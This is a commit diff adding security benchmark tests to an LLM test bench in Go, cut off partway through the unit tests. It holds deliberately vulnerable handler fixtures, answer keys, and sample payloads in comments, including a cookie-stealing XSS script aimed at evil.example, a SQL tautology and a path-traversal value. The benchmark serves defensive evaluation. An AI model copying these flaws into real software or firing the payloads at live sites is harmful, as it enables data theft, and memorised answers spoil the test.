mirror of
https://github.com/lukaszraczylo/llm-testbench.git
synced 2026-10-12 00:45:19 +00:00
test(catalog): add security category with 30 tests
Add a new security category with three subcategories: appsec, crypto, and secrets. Each subcategory holds 10 self-contained, deterministic tests grounded in real vulnerability classes and remediation procedures. Appsec tests spot line-numbered injection, XSS, path traversal, SSRF, IDOR, and open-redirect flaws in synthetic fixtures, plus CSRF, rate limiting, input validation, and log-secret placement questions. Crypto tests cover password hashing, constant-time comparison, JWT alg=none, TLS floor version, AES-GCM nonce reuse, random source choice, key rotation ordering, HMAC versus asymmetric signing, certificate chain validation, and hash-versus-encrypt choices for PII. Secrets tests cover hardcoded-secret spotting, remediation ordering (rotate before history rewrite), vault tradeoffs, Kubernetes Secret base64 nuance, zero-downtime rotation ordering, least-privilege scoping, diff secret spotting, fork-PR CI exposure, SSH agent identity handling, and gitignore-versus-history nuance. A shared security.go file exposes registerSecurityTests and two reusable helpers: secNoUnnegatedMention, a bidirectional negation-aware guard adapted from kubernetes.go so a correct warning against a discouraged term is never penalized, and secExactAnswer, a forgiving exact-match evaluator for single-token answers. This change touches only new internal/tests/security*.go files. It does not modify catalog.go or catalog_test.go; the orchestrator wires registerSecurityTests at integration. A wiring test in security_test.go verifies the registration directly, mirroring the agents_test.go pattern. Every test carries a ground-truth comment, and every evaluator's unit test covers at least three correct phrasings and two incorrect ones.
This commit is contained in:
@@ -0,0 +1,98 @@
|
||||
package tests
|
||||
|
||||
import (
|
||||
"context"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/lukaszraczylo/llm-testbench/internal/eval"
|
||||
"github.com/lukaszraczylo/llm-testbench/internal/testkit"
|
||||
)
|
||||
|
||||
// registerSecurityTests registers every security-category test. Each
|
||||
// subcategory - appsec, crypto, secrets - has its own register function and
|
||||
// source file (security_appsec.go, security_crypto.go, security_secrets.go)
|
||||
// to keep any one file from growing past a few hundred lines.
|
||||
func registerSecurityTests(r *testkit.Registry) {
|
||||
registerSecurityAppsecTests(r)
|
||||
registerSecurityCryptoTests(r)
|
||||
registerSecuritySecretsTests(r)
|
||||
}
|
||||
|
||||
// secNegationCuePattern matches a word that turns a mention of a
|
||||
// discouraged term (a weak algorithm, an insecure package) into a warning
|
||||
// against it rather than an endorsement of it. Adapted from kubernetes.go's
|
||||
// negationCuePattern, with "must not"/"isn't"/"wasn't"/"shouldn't"/"should
|
||||
// not" added: security answers in this category more often phrase the
|
||||
// warning as "X is not suitable" or "X must not be used" than as
|
||||
// kubernetes.go's "don't run X" imperative.
|
||||
var secNegationCuePattern = regexp.MustCompile(`(?i)\b(don'?t|do not|never|avoid|instead of|not|cannot|can'?t|rather than|without|no need|shouldn'?t|should not|must not|isn'?t|wasn'?t)\b`)
|
||||
|
||||
// secNegationWindow is how many characters around a discouraged-term match
|
||||
// are searched for a negation cue.
|
||||
const secNegationWindow = 60
|
||||
|
||||
// secNegationNearby reports whether a negation cue appears within
|
||||
// secNegationWindow characters immediately before OR after the match
|
||||
// [start,end) in response. This is deliberately bidirectional, unlike
|
||||
// kubernetes.go's negationWindowStart (which only looks before the match):
|
||||
// kubernetes.go's forbidden phrase is an imperative ("kubectl edit"), so the
|
||||
// negation cue naturally precedes it ("don't run kubectl edit"). This
|
||||
// category's discouraged terms are usually algorithm/package names, and a
|
||||
// good answer just as often negates them with the cue AFTER the term
|
||||
// ("SHA-256 is not appropriate for passwords", "math/rand must never be
|
||||
// used here") as before it ("never use MD5", "avoid math/rand").
|
||||
func secNegationNearby(response string, start, end int) bool {
|
||||
lo := start - secNegationWindow
|
||||
if lo < 0 {
|
||||
lo = 0
|
||||
}
|
||||
hi := end + secNegationWindow
|
||||
if hi > len(response) {
|
||||
hi = len(response)
|
||||
}
|
||||
return secNegationCuePattern.MatchString(response[lo:start]) || secNegationCuePattern.MatchString(response[end:hi])
|
||||
}
|
||||
|
||||
// secNoUnnegatedMention returns an Evaluator scoring full credit unless
|
||||
// badPattern matches somewhere in the response with no negation cue nearby -
|
||||
// i.e. it penalizes an unqualified endorsement of a discouraged
|
||||
// algorithm/package but not a warning against using it. This is deliberately
|
||||
// not eval.NotContains, which would also zero out the best possible answer
|
||||
// (one that correctly names the discouraged term while warning against it).
|
||||
func secNoUnnegatedMention(badPattern *regexp.Regexp) eval.Evaluator {
|
||||
return eval.EvaluatorFunc(func(_ context.Context, response string) eval.Score {
|
||||
matches := badPattern.FindAllStringIndex(response, -1)
|
||||
if len(matches) == 0 {
|
||||
return eval.Score{Value: 1, Detail: "no mention of a discouraged term"}
|
||||
}
|
||||
for _, loc := range matches {
|
||||
if !secNegationNearby(response, loc[0], loc[1]) {
|
||||
return eval.Score{Value: 0, Detail: "unnegated mention of a discouraged term"}
|
||||
}
|
||||
}
|
||||
return eval.Score{Value: 1, Detail: "every mention of a discouraged term is negated"}
|
||||
})
|
||||
}
|
||||
|
||||
// secExactAnswer returns an Evaluator awarding full credit when the
|
||||
// response, trimmed of whitespace, at most one layer of surrounding quote
|
||||
// characters ('", or `), and a single trailing sentence-ending period,
|
||||
// equals want case-insensitively. Mirrors codebase_analysis.go's
|
||||
// codeExactAnswer: it accepts every materially-correct form of a forced
|
||||
// single-token/short-phrase answer (bare, quoted, differently-cased, or with
|
||||
// trailing punctuation) without loosening the match to accept a substring of
|
||||
// a longer, wrong answer.
|
||||
func secExactAnswer(want string) eval.Evaluator {
|
||||
return eval.EvaluatorFunc(func(_ context.Context, response string) eval.Score {
|
||||
got := strings.TrimSpace(response)
|
||||
got = strings.Trim(got, "\"'`")
|
||||
got = strings.TrimSuffix(strings.TrimSpace(got), ".")
|
||||
got = strings.TrimSpace(got)
|
||||
wantTrimmed := strings.TrimSpace(want)
|
||||
if strings.EqualFold(got, wantTrimmed) {
|
||||
return eval.Score{Value: 1, Detail: "equals " + wantTrimmed}
|
||||
}
|
||||
return eval.Score{Value: 0, Detail: "got " + got + ", want " + wantTrimmed}
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,429 @@
|
||||
package tests
|
||||
|
||||
import (
|
||||
"github.com/lukaszraczylo/llm-testbench/internal/eval"
|
||||
"github.com/lukaszraczylo/llm-testbench/internal/testkit"
|
||||
)
|
||||
|
||||
func registerSecurityAppsecTests(r *testkit.Registry) {
|
||||
r.Register(secSQLiSpotTest())
|
||||
r.Register(secXSSSinkSpotTest())
|
||||
r.Register(secPathTraversalSpotTest())
|
||||
r.Register(secSSRFSpotTest())
|
||||
r.Register(secIDORSpotTest())
|
||||
r.Register(secOpenRedirectSpotTest())
|
||||
r.Register(secCSRFRequirementTest())
|
||||
r.Register(secRateLimitPlacementTest())
|
||||
r.Register(secInputValidationBoundaryTest())
|
||||
r.Register(secSecretLogSpotTest())
|
||||
}
|
||||
|
||||
// secSQLiFixture is a synthetic, never-compiled Go handler (FIXTURE:
|
||||
// referenced only from this string literal, never as real source) used as
|
||||
// the line-numbered prompt body for secSQLiSpotTest. Each displayed line is
|
||||
// prefixed with its 1-based position in this listing.
|
||||
const secSQLiFixture = `1: func LookupUser(db *sql.DB, username string) (*User, error) {
|
||||
2: query := "SELECT id, email FROM users WHERE username = '" + username + "'"
|
||||
3: row := db.QueryRow(query)
|
||||
4: var u User
|
||||
5: if err := row.Scan(&u.ID, &u.Email); err != nil {
|
||||
6: return nil, err
|
||||
7: }
|
||||
8: return &u, nil
|
||||
9: }`
|
||||
|
||||
// secSQLiSpotTest: spot a SQL injection built by string-concatenating an
|
||||
// unsanitized parameter into a query, and require the parameterized-query
|
||||
// fix.
|
||||
//
|
||||
// ground truth: line 2 concatenates the caller-supplied username directly
|
||||
// into the SQL text. A username of `' OR '1'='1` closes the quoted literal
|
||||
// early and turns the WHERE clause into an always-true condition, returning
|
||||
// every row instead of one user. The fix is a parameterized query (a
|
||||
// placeholder plus separately-passed args), not string concatenation.
|
||||
func secSQLiSpotTest() testkit.Test {
|
||||
prompt := `Here is a Go database handler. Each displayed line is prefixed
|
||||
with its 1-based position in this listing:
|
||||
|
||||
` + secSQLiFixture + `
|
||||
|
||||
Which line number introduces a SQL injection vulnerability, and what
|
||||
category of fix addresses it? Respond with only a JSON object:
|
||||
{"line":<number>,"fix":"<one of: parameterized-query, escape-output, add-waf>"}`
|
||||
|
||||
evaluator := eval.Mean(
|
||||
eval.JSONField("line", 2),
|
||||
eval.JSONField("fix", "parameterized-query"),
|
||||
)
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-sqli-spot",
|
||||
Category: "security",
|
||||
Subcategory: "appsec",
|
||||
Description: "Spot a SQL injection built by string-concatenating a caller-supplied value into a query, and require the parameterized-query fix.",
|
||||
Prompt: prompt,
|
||||
Eval: evaluator,
|
||||
}
|
||||
}
|
||||
|
||||
// secXSSFixture is a synthetic Go HTTP handler (FIXTURE: prompt-only, never
|
||||
// compiled) for secXSSSinkSpotTest.
|
||||
const secXSSFixture = `1: func Greet(w http.ResponseWriter, r *http.Request) {
|
||||
2: name := r.URL.Query().Get("name")
|
||||
3: w.Header().Set("Content-Type", "text/html")
|
||||
4: fmt.Fprintf(w, "<h1>Welcome, %s!</h1>", name)
|
||||
5: }`
|
||||
|
||||
// secXSSSinkSpotTest: spot a reflected-XSS sink where a query parameter is
|
||||
// written into an HTML response with no escaping.
|
||||
//
|
||||
// ground truth: line 4 writes the caller-supplied name straight into the
|
||||
// HTML body with fmt.Fprintf, which does no HTML escaping. A name of
|
||||
// `<script>document.location='https://evil.example/steal?c='+document.cookie</script>`
|
||||
// executes in the victim's browser. The fix is to HTML-escape the value
|
||||
// before writing it (or render through html/template, which auto-escapes),
|
||||
// not to validate input shape or add a Content-Security-Policy as the
|
||||
// primary fix for an already-unescaped sink.
|
||||
func secXSSSinkSpotTest() testkit.Test {
|
||||
prompt := `Here is a Go HTTP handler. Each displayed line is prefixed with
|
||||
its 1-based position in this listing:
|
||||
|
||||
` + secXSSFixture + `
|
||||
|
||||
Which line number is the reflected-XSS sink, and what category of fix
|
||||
addresses it? Respond with only a JSON object:
|
||||
{"line":<number>,"fix":"<one of: escape-output, validate-input, add-csp>"}`
|
||||
|
||||
evaluator := eval.Mean(
|
||||
eval.JSONField("line", 4),
|
||||
eval.JSONField("fix", "escape-output"),
|
||||
)
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-xss-sink-spot",
|
||||
Category: "security",
|
||||
Subcategory: "appsec",
|
||||
Description: "Spot a reflected-XSS sink writing an unescaped query parameter into an HTML response.",
|
||||
Prompt: prompt,
|
||||
Eval: evaluator,
|
||||
}
|
||||
}
|
||||
|
||||
// secPathTraversalFixture is a synthetic Go HTTP handler (FIXTURE:
|
||||
// prompt-only, never compiled) for secPathTraversalSpotTest.
|
||||
const secPathTraversalFixture = `1: func ServeReport(w http.ResponseWriter, r *http.Request) {
|
||||
2: name := r.URL.Query().Get("file")
|
||||
3: path := "/var/reports/" + name
|
||||
4: data, err := os.ReadFile(path)
|
||||
5: if err != nil {
|
||||
6: http.Error(w, "not found", http.StatusNotFound)
|
||||
7: return
|
||||
8: }
|
||||
9: w.Write(data)
|
||||
10: }`
|
||||
|
||||
// secPathTraversalSpotTest: spot a path-traversal vulnerability where a
|
||||
// query parameter is concatenated onto a base directory with no cleaning.
|
||||
//
|
||||
// ground truth: line 3 concatenates the caller-supplied file parameter
|
||||
// directly onto the base directory with no cleaning of ".." segments. A
|
||||
// file value of `../../etc/passwd` escapes /var/reports/ entirely. The fix
|
||||
// is to resolve and validate the final path stays inside the base
|
||||
// directory (e.g. filepath.Clean plus a prefix check, or rejecting ".."),
|
||||
// not to HTML-escape output or rate-limit the endpoint.
|
||||
func secPathTraversalSpotTest() testkit.Test {
|
||||
prompt := `Here is a Go HTTP handler. Each displayed line is prefixed with
|
||||
its 1-based position in this listing:
|
||||
|
||||
` + secPathTraversalFixture + `
|
||||
|
||||
Which line number introduces a path-traversal vulnerability, and what
|
||||
category of fix addresses it? Respond with only a JSON object:
|
||||
{"line":<number>,"fix":"<one of: sanitize-path, escape-output, rate-limit>"}`
|
||||
|
||||
evaluator := eval.Mean(
|
||||
eval.JSONField("line", 3),
|
||||
eval.JSONField("fix", "sanitize-path"),
|
||||
)
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-path-traversal-spot",
|
||||
Category: "security",
|
||||
Subcategory: "appsec",
|
||||
Description: "Spot a path traversal built by concatenating a caller-supplied filename onto a base directory with no cleaning.",
|
||||
Prompt: prompt,
|
||||
Eval: evaluator,
|
||||
}
|
||||
}
|
||||
|
||||
// secSSRFFixture is a synthetic Go HTTP handler (FIXTURE: prompt-only,
|
||||
// never compiled) for secSSRFSpotTest.
|
||||
const secSSRFFixture = `1: func FetchPreview(w http.ResponseWriter, r *http.Request) {
|
||||
2: target := r.URL.Query().Get("url")
|
||||
3: resp, err := http.Get(target)
|
||||
4: if err != nil {
|
||||
5: http.Error(w, "fetch failed", http.StatusBadGateway)
|
||||
6: return
|
||||
7: }
|
||||
8: defer resp.Body.Close()
|
||||
9: io.Copy(w, resp.Body)
|
||||
10: }`
|
||||
|
||||
// secSSRFSpotTest: spot a server-side-request-forgery sink where the server
|
||||
// fetches a fully attacker-controlled URL with no allowlist.
|
||||
//
|
||||
// ground truth: line 3 passes the caller-supplied target URL straight to an
|
||||
// outbound HTTP GET performed by the server, with no allowlist or denylist.
|
||||
// An attacker can point it at hosts the server can reach but the attacker
|
||||
// cannot (an internal admin panel, a cloud metadata endpoint), turning the
|
||||
// server into a proxy for internal network access. The fix is to allowlist
|
||||
// the permitted hosts/schemes before fetching, not to sanitize a filesystem
|
||||
// path or escape HTML output.
|
||||
func secSSRFSpotTest() testkit.Test {
|
||||
prompt := `Here is a Go HTTP handler. Each displayed line is prefixed with
|
||||
its 1-based position in this listing:
|
||||
|
||||
` + secSSRFFixture + `
|
||||
|
||||
Which line number introduces a server-side request forgery vulnerability,
|
||||
and what category of fix addresses it? Respond with only a JSON object:
|
||||
{"line":<number>,"fix":"<one of: allowlist-hosts, sanitize-path, escape-output>"}`
|
||||
|
||||
evaluator := eval.Mean(
|
||||
eval.JSONField("line", 3),
|
||||
eval.JSONField("fix", "allowlist-hosts"),
|
||||
)
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-ssrf-spot",
|
||||
Category: "security",
|
||||
Subcategory: "appsec",
|
||||
Description: "Spot an SSRF sink where the server fetches a fully attacker-controlled URL with no host allowlist.",
|
||||
Prompt: prompt,
|
||||
Eval: evaluator,
|
||||
}
|
||||
}
|
||||
|
||||
// secIDORFixture is a synthetic Go HTTP handler (FIXTURE: prompt-only,
|
||||
// never compiled) for secIDORSpotTest.
|
||||
const secIDORFixture = `1: func GetInvoice(w http.ResponseWriter, r *http.Request) {
|
||||
2: userID := currentUser(r).ID
|
||||
3: invoiceID := r.URL.Query().Get("id")
|
||||
4: invoice, err := db.FindInvoice(invoiceID)
|
||||
5: if err != nil {
|
||||
6: http.Error(w, "not found", http.StatusNotFound)
|
||||
7: return
|
||||
8: }
|
||||
9: json.NewEncoder(w).Encode(invoice)
|
||||
10: }`
|
||||
|
||||
// secIDORSpotTest: spot an insecure-direct-object-reference where an
|
||||
// invoice is looked up by a client-supplied id with no ownership check.
|
||||
//
|
||||
// ground truth: line 4 fetches the invoice by the caller-supplied
|
||||
// invoiceID alone. userID (line 2) is read but never compared against the
|
||||
// fetched invoice's owner, so any logged-in user can read any other user's
|
||||
// invoice by guessing or incrementing the id. The fix is to authorize the
|
||||
// fetch against the requesting user's ownership, not to parameterize the
|
||||
// query (it already is) or rate-limit the endpoint.
|
||||
func secIDORSpotTest() testkit.Test {
|
||||
prompt := `Here is a Go HTTP handler. Each displayed line is prefixed with
|
||||
its 1-based position in this listing:
|
||||
|
||||
` + secIDORFixture + `
|
||||
|
||||
Which line number performs a lookup that is missing an authorization check
|
||||
(an insecure direct object reference), and what category of fix addresses
|
||||
it? Respond with only a JSON object:
|
||||
{"line":<number>,"fix":"<one of: authorize-owner, parameterized-query, rate-limit>"}`
|
||||
|
||||
evaluator := eval.Mean(
|
||||
eval.JSONField("line", 4),
|
||||
eval.JSONField("fix", "authorize-owner"),
|
||||
)
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-idor-spot",
|
||||
Category: "security",
|
||||
Subcategory: "appsec",
|
||||
Description: "Spot an IDOR: an invoice fetched by a client-supplied id with the requesting user's ownership never checked.",
|
||||
Prompt: prompt,
|
||||
Eval: evaluator,
|
||||
}
|
||||
}
|
||||
|
||||
// secOpenRedirectFixture is a synthetic Go HTTP handler (FIXTURE:
|
||||
// prompt-only, never compiled) for secOpenRedirectSpotTest.
|
||||
const secOpenRedirectFixture = `1: func Login(w http.ResponseWriter, r *http.Request) {
|
||||
2: next := r.URL.Query().Get("next")
|
||||
3: // ... authenticate the user ...
|
||||
4: http.Redirect(w, r, next, http.StatusFound)
|
||||
5: }`
|
||||
|
||||
// secOpenRedirectSpotTest: spot an open-redirect where a post-login
|
||||
// destination is taken unvalidated from a query parameter.
|
||||
//
|
||||
// ground truth: line 4 redirects to the raw next parameter with no check
|
||||
// that it points to this application's own host. An attacker can craft a
|
||||
// login link with next=https://evil.example.com and redirect authenticated
|
||||
// users off-site immediately after they log in.
|
||||
func secOpenRedirectSpotTest() testkit.Test {
|
||||
prompt := `Here is a Go HTTP handler. Each displayed line is prefixed with
|
||||
its 1-based position in this listing:
|
||||
|
||||
` + secOpenRedirectFixture + `
|
||||
|
||||
Which line number redirects to a caller-controlled destination with no
|
||||
same-host check (an open redirect)? Respond with only a JSON object:
|
||||
{"line":<number>}`
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-open-redirect-spot",
|
||||
Category: "security",
|
||||
Subcategory: "appsec",
|
||||
Description: "Spot an open redirect: a post-login destination taken unvalidated from a query parameter.",
|
||||
Prompt: prompt,
|
||||
Eval: eval.JSONField("line", 4),
|
||||
}
|
||||
}
|
||||
|
||||
// secCSRFRequirementTest: decide whether an endpoint authenticated purely
|
||||
// by a custom header bearer token (no cookies) needs CSRF protection.
|
||||
//
|
||||
// ground truth: CSRF exploits an ambient credential the browser attaches
|
||||
// automatically to cross-site requests - a session cookie. A forged
|
||||
// cross-site request cannot make the victim's browser attach a custom
|
||||
// Authorization header on its own, so an endpoint authenticated only by a
|
||||
// header-carried bearer token, with no cookie in the picture, has no
|
||||
// ambient credential for a forged request to ride on and does not need a
|
||||
// CSRF token.
|
||||
func secCSRFRequirementTest() testkit.Test {
|
||||
prompt := `A POST /api/transfer endpoint moves money between accounts. It
|
||||
is authenticated only by a bearer token read from a custom Authorization
|
||||
header; the server sets no cookies at all, and nothing about this endpoint
|
||||
causes a browser to attach that header automatically to a cross-site
|
||||
request.
|
||||
|
||||
Does this endpoint need an explicit CSRF token/protection mechanism?
|
||||
Respond with only one word: yes or no.`
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-csrf-requirement",
|
||||
Category: "security",
|
||||
Subcategory: "appsec",
|
||||
Description: "Decide whether a header-bearer-token-only endpoint (no cookies) needs CSRF protection.",
|
||||
Prompt: prompt,
|
||||
Eval: secExactAnswer("no"),
|
||||
}
|
||||
}
|
||||
|
||||
// secRateLimitPlacementTest: decide the correct stage and keying for
|
||||
// rate-limiting a login endpoint.
|
||||
//
|
||||
// ground truth: rate limiting must run before the expensive password check
|
||||
// runs (as an outer gate), otherwise every brute-force attempt still pays
|
||||
// the full bcrypt/argon2 cost and the limiter does nothing to stop resource
|
||||
// exhaustion. Keying by IP alone lets one attacker rotate usernames from a
|
||||
// fixed IP largely unthrottled per-account, and keying by account alone
|
||||
// lets a distributed attacker (many IPs) brute-force one account
|
||||
// unthrottled per-IP; keying by the (ip, account) pair catches both.
|
||||
func secRateLimitPlacementTest() testkit.Test {
|
||||
prompt := `A login endpoint calls bcrypt.CompareHashAndPassword (a
|
||||
deliberately slow, CPU-expensive check) to verify the submitted password
|
||||
against the stored hash.
|
||||
|
||||
At which stage should rate limiting be enforced relative to the bcrypt
|
||||
check, and how should the rate-limit key be constructed? Respond with only
|
||||
a JSON object:
|
||||
{"stage":"<one of: before-auth-check, after-auth-check>","key":"<one of: ip-and-account, ip-only, account-only>"}`
|
||||
|
||||
evaluator := eval.Mean(
|
||||
eval.JSONField("stage", "before-auth-check"),
|
||||
eval.JSONField("key", "ip-and-account"),
|
||||
)
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-rate-limit-placement",
|
||||
Category: "security",
|
||||
Subcategory: "appsec",
|
||||
Description: "Decide rate limiting must gate a login endpoint before the expensive password check, keyed by IP and account together.",
|
||||
Prompt: prompt,
|
||||
Eval: evaluator,
|
||||
}
|
||||
}
|
||||
|
||||
// secInputValidationBoundaryTest: name the two numeric boundary checks
|
||||
// missing from an unvalidated order-quantity field.
|
||||
//
|
||||
// ground truth: a zero or negative quantity lets an attacker construct a
|
||||
// negative-total order line, effectively crediting themselves money; an
|
||||
// unbounded huge quantity can overflow price*quantity arithmetic or let a
|
||||
// single request attempt to reserve the entire inventory. Both a lower
|
||||
// bound (reject <= 0) and an upper bound (reject/cap above a sane maximum)
|
||||
// are required; either check alone leaves the other abuse path open.
|
||||
func secInputValidationBoundaryTest() testkit.Test {
|
||||
prompt := `An order-checkout endpoint accepts a JSON body with a
|
||||
"quantity" integer field for one line item. The handler does nothing but
|
||||
json.Unmarshal it into an int before using it to compute
|
||||
price * quantity and reserve that many units of inventory - no other
|
||||
validation runs on it.
|
||||
|
||||
Name the two numeric boundary checks that must be added to quantity before
|
||||
it is used, and why each one matters.`
|
||||
|
||||
evaluator := eval.Mean(
|
||||
eval.ContainsAny("negative", "<= 0", "zero or negative", "greater than zero", "greater than 0", "positive"),
|
||||
eval.ContainsAny("maximum", "upper bound", "cap", "overflow", "too large", "excessively large", "unbounded"),
|
||||
)
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-input-validation-boundary",
|
||||
Category: "security",
|
||||
Subcategory: "appsec",
|
||||
Description: "Name the lower-bound and upper-bound numeric checks missing from an unvalidated order-quantity field.",
|
||||
Prompt: prompt,
|
||||
Eval: evaluator,
|
||||
}
|
||||
}
|
||||
|
||||
// secSecretLogFixture is a synthetic Go HTTP handler (FIXTURE: prompt-only,
|
||||
// never compiled) for secSecretLogSpotTest.
|
||||
// #nosec G101 -- prompt-only fixture text, never compiled; it demonstrates a
|
||||
// secret leaking into application logs, which is exactly the bug this test
|
||||
// asks the model to spot.
|
||||
const secSecretLogFixture = `1: func HandlePayment(w http.ResponseWriter, r *http.Request) {
|
||||
2: apiKey := r.Header.Get("X-API-Key")
|
||||
3: log.Printf("processing payment request: method=%s path=%s api_key=%s", r.Method, r.URL.Path, apiKey)
|
||||
4: result, err := chargeCard(r.Context(), apiKey)
|
||||
5: if err != nil {
|
||||
6: http.Error(w, "payment failed", http.StatusInternalServerError)
|
||||
7: return
|
||||
8: }
|
||||
9: json.NewEncoder(w).Encode(result)
|
||||
10: }`
|
||||
|
||||
// secSecretLogSpotTest: spot a live secret written to plain-visibility
|
||||
// application logs.
|
||||
//
|
||||
// ground truth: line 3 writes the raw apiKey straight into the application
|
||||
// log at plain visibility. Anyone with log access - a log-aggregation SaaS,
|
||||
// on-disk log rotation, a support engineer grepping logs - now has the live
|
||||
// API key, independent of any access control on the API itself.
|
||||
func secSecretLogSpotTest() testkit.Test {
|
||||
prompt := `Here is a Go HTTP handler. Each displayed line is prefixed with
|
||||
its 1-based position in this listing:
|
||||
|
||||
` + secSecretLogFixture + `
|
||||
|
||||
Which line number writes a live secret into the application logs at plain
|
||||
visibility? Respond with only a JSON object: {"line":<number>}`
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-secret-log-spot",
|
||||
Category: "security",
|
||||
Subcategory: "appsec",
|
||||
Description: "Spot a live API key written straight into application logs at plain visibility.",
|
||||
Prompt: prompt,
|
||||
Eval: eval.JSONField("line", 3),
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,266 @@
|
||||
package tests
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSecSQLiSpotTest_Eval(t *testing.T) {
|
||||
tc := secSQLiSpotTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{name: "correct", response: `{"line":2,"fix":"parameterized-query"}`, want: 1},
|
||||
{name: "correct fenced with prose", response: "The injection is here:\n```json\n{\"line\":2,\"fix\":\"parameterized-query\"}\n```", want: 1},
|
||||
{name: "correct with spacing", response: `{ "line": 2, "fix": "parameterized-query" }`, want: 1},
|
||||
{name: "wrong line", response: `{"line":3,"fix":"parameterized-query"}`, want: 0.5},
|
||||
{name: "wrong fix", response: `{"line":2,"fix":"escape-output"}`, want: 0.5},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecXSSSinkSpotTest_Eval(t *testing.T) {
|
||||
tc := secXSSSinkSpotTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{name: "correct", response: `{"line":4,"fix":"escape-output"}`, want: 1},
|
||||
{name: "correct fenced with prose", response: "```json\n{\"line\":4,\"fix\":\"escape-output\"}\n```", want: 1},
|
||||
{name: "correct with spacing", response: `{ "line": 4, "fix": "escape-output" }`, want: 1},
|
||||
{name: "wrong line", response: `{"line":2,"fix":"escape-output"}`, want: 0.5},
|
||||
{name: "wrong fix", response: `{"line":4,"fix":"validate-input"}`, want: 0.5},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecPathTraversalSpotTest_Eval(t *testing.T) {
|
||||
tc := secPathTraversalSpotTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{name: "correct", response: `{"line":3,"fix":"sanitize-path"}`, want: 1},
|
||||
{name: "correct fenced with prose", response: "```json\n{\"line\":3,\"fix\":\"sanitize-path\"}\n```", want: 1},
|
||||
{name: "correct with spacing", response: `{ "line": 3, "fix": "sanitize-path" }`, want: 1},
|
||||
{name: "wrong line", response: `{"line":4,"fix":"sanitize-path"}`, want: 0.5},
|
||||
{name: "wrong fix", response: `{"line":3,"fix":"escape-output"}`, want: 0.5},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecSSRFSpotTest_Eval(t *testing.T) {
|
||||
tc := secSSRFSpotTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{name: "correct", response: `{"line":3,"fix":"allowlist-hosts"}`, want: 1},
|
||||
{name: "correct fenced with prose", response: "```json\n{\"line\":3,\"fix\":\"allowlist-hosts\"}\n```", want: 1},
|
||||
{name: "correct with spacing", response: `{ "line": 3, "fix": "allowlist-hosts" }`, want: 1},
|
||||
{name: "wrong line", response: `{"line":2,"fix":"allowlist-hosts"}`, want: 0.5},
|
||||
{name: "wrong fix", response: `{"line":3,"fix":"sanitize-path"}`, want: 0.5},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecIDORSpotTest_Eval(t *testing.T) {
|
||||
tc := secIDORSpotTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{name: "correct", response: `{"line":4,"fix":"authorize-owner"}`, want: 1},
|
||||
{name: "correct fenced with prose", response: "```json\n{\"line\":4,\"fix\":\"authorize-owner\"}\n```", want: 1},
|
||||
{name: "correct with spacing", response: `{ "line": 4, "fix": "authorize-owner" }`, want: 1},
|
||||
{name: "wrong line", response: `{"line":9,"fix":"authorize-owner"}`, want: 0.5},
|
||||
{name: "wrong fix", response: `{"line":4,"fix":"rate-limit"}`, want: 0.5},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecOpenRedirectSpotTest_Eval(t *testing.T) {
|
||||
tc := secOpenRedirectSpotTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{name: "correct", response: `{"line":4}`, want: 1},
|
||||
{name: "correct fenced with prose", response: "```json\n{\"line\":4}\n```", want: 1},
|
||||
